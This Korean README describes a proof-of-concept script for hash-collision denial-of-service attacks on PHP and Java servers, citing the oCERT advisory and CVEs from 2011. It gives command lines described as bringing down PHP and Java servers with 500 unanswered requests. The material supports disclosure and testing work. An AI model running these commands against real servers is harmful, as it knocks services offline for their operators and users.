firefart/hashcollision-dos-pocPHP 및 JAVA 해시 충돌 서비스 거부 공격에 대한 개념 증명
이 스크립트는 Christian Mehlmauer [email protected]가 작성했습니다. https://twitter.com/#!/_FireFart_
소스코드는 다음에서 온라인으로 확인할 수 있습니다: https://github.com/FireFart/HashCollision-DOS-POC
원본 PHP Payloadgenerator는 https://github.com/koto/blog-kotowicz-net-examples/tree/master/hashcollision 에서 가져왔습니다.
http://www.ocert.org/advisories/ocert-2011-003.html CVE: Apache Geronimo: CVE-2011-5034 Oracle Glassfish: CVE-2011-5035 PHP: CVE-2011-4885 Apache Tomcat: CVE-2011-4858
Python 2.7 필요
예시: -) 단일 요청을 보내고, 응답을 기다린 후 응답을 output0.html에 저장 python HashtablePOC.py -u https://host/index.php -v -c 1 -w -o output -t PHP
-) PHP 서버 다운시키기(응답을 기다리지 않고 500개의 요청 보내기): python HashtablePOC.py -u https://host/index.php -v -c 500 -t PHP
-) JAVA 서버 다운시키기(Tomcat 및 Glassfish에서 테스트됨; 응답을 기다리지 않고 500개의 요청 보내기, 최대 POST 데이터 크기 2MB): python HashtablePOC.py -u https://host/index.jsp -v -c 500 -t JAVA -m 2
변경 내역: v6.0: Javapayloadgenerator 추가 v5.0: 최대 페이로드 크기를 매개변수로 정의 v4.0: PHP Collision Chars를 즉석에서 가져오기 v3.0: 파일에서 페이로드 로드 v2.0: https 지원 추가, HTTP 1.1로 전환 v1.0: 최초 릴리스
